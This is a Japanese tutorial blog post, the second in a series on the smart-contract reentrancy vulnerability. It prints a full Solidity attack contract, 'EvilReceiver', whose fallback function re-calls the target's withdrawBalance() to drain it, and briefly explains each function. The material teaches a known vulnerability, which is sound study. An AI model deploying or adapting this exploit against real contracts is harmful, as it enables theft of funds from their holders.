Ethereum(34) - Reentrancy問題②(実装編 - 攻撃する側)

スマートコントラクトの代表的な脆弱性であるReentrancy問題に関して2回目の記事です。

Reentrancy問題とは、複数の呼び出し元から同時に呼び出された場合に問題が発生してしまうことを指します。

今回は、Reentrancy問題のあるコントラクトに対して攻撃を行うコードを実装します。

実装(攻撃する側)

攻撃を行うサンプルソースは次の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.4.11;
contract EvilReceiver {

address public target; // 攻撃対象コントラクトのアドレス
event MessageLog(string); // メッセージ表示用のイベント
event BalanceLog(uint); // 残高表示用のイベント

/// コンストラクタ
function EvilReceiver(address _target) {
target = _target;
}

/// Fallback関数
function() payable{
BalanceLog(this.balance);
// 攻撃対象コントラクトのwithdrawBalanceを呼出し
if(msg.sender.call.value(0)(bytes4(sha3("withdrawBalance()")))) {
MessageLog("SUCCESS");
} else {
MessageLog("FAIL");
}
}

/// EOAからの送金時に利用する関数
function addBalance() public payable {
}

/// 攻撃対象コントラクトへの送金時に利用する関数
function sendEthToTarget() public {
if(!target.call.value(10 ether)(bytes4(sha3("addToBalance()")))) {throw;}
}

/// 攻撃対象コントラクトからの引出し時に利用する関数
function withdraw() public {
if(!target.call.value(0)(bytes4(sha3("withdrawBalance()")))) {throw;}
}
}

各関数は次のような処理を行います。

  • Fallback関数 (14-23行目)
    攻撃対象のコントラクト(前回実装したコントラクト)の返金処理 msg.sender.call.value(userBalances[msg.sender])()がコールされると、呼び出される関数です。
    返金処理の中で再度、引き出し処理を行うのがもっとも重要なポイントとなります。
  • sendEthToTarget関数 (30-32行目)
    攻撃対象のコントラクトへ送金する処理です。
  • withdraw関数 (35-37行目)
    攻撃対象のコントラクトへ返金を要求する処理です。

次回は、攻撃対象のコントラクトと攻撃用のコントラクトをデプロイして動作確認を行います。